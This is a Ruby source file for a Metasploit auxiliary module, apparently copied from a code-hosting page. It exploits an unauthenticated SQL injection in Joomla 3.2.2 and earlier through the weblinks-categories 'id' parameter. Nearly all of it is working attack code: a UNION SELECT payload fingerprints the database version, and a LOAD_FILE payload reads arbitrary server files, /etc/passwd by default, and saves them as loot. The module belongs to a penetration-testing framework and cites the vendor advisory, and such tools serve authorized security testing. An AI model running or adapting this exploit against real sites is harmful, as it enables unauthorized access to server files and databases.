125 lines
3.9 KiB
Ruby
125 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read',
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'Description' => %q{
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Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection
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which allows an attacker to access the database or read arbitrary files as the
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'mysql' user. This module will only work if the mysql user Joomla is using
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to access the database has the LOAD_FILE permission.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
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],
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'References' =>
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[
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['EDB', '31459'],
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['URL', 'http://developer.joomla.org/security/578-20140301-core-sql-injection.html']
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],
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'DisclosureDate' => 'Mar 2 2014'
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/']),
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OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
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OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0])
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])
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end
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def check
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front_marker = Rex::Text.rand_text_alpha(6)
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back_marker = Rex::Text.rand_text_alpha(6)
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payload = datastore['CATEGORYID'].to_s
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payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]},"
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payload << "IFNULL(CAST(VERSION() "
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payload << "AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"
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resp = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),
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'vars_get' => {
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'id' => payload
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}
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})
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if !resp or !resp.body
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return Exploit::CheckCode::Safe
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end
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if resp.body =~ /404<\/span> Category not found/
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return Exploit::CheckCode::Unknown
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end
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version = /#{front_marker}(.*)#{back_marker}/.match(resp.body)
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if !version
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return Exploit::CheckCode::Safe
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end
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version = version[1].gsub(front_marker, '').gsub(back_marker, '')
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print_good("Fingerprinted: #{version}")
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return Exploit::CheckCode::Vulnerable
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end
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def run
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front_marker = Rex::Text.rand_text_alpha(6)
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back_marker = Rex::Text.rand_text_alpha(6)
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file = datastore['FILEPATH'].unpack("H*")[0]
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catid = datastore['CATEGORYID']
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payload = catid.to_s
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payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}"
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payload << ",IFNULL(CAST(HEX(LOAD_FILE("
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payload << "0x#{file})) AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"
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resp = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),
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'vars_get' => {
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'id' => payload
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}
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})
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if !resp or !resp.body
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fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way. Verify the IP address.")
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end
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if resp.body =~ /404<\/span> Category not found/
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fail_with(Failure::BadConfig, "The category ID was invalid. Please try again with a valid category ID")
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end
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file = /#{front_marker}(.*)#{back_marker}/.match(resp.body)
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if !file
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fail_with(Failure::UnexpectedReply, "Either the file didn't exist or the server has been patched.")
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end
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file = file[1].gsub(front_marker, '').gsub(back_marker, '')
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file = [file].pack("H*")
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if file == '' or file == "\x00"
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fail_with(Failure::UnexpectedReply, "Either the file didn't exist or the database user does not have LOAD_FILE permissions")
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end
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path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
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if path and path != ''
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print_good("File saved to: #{path}")
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end
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end
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end
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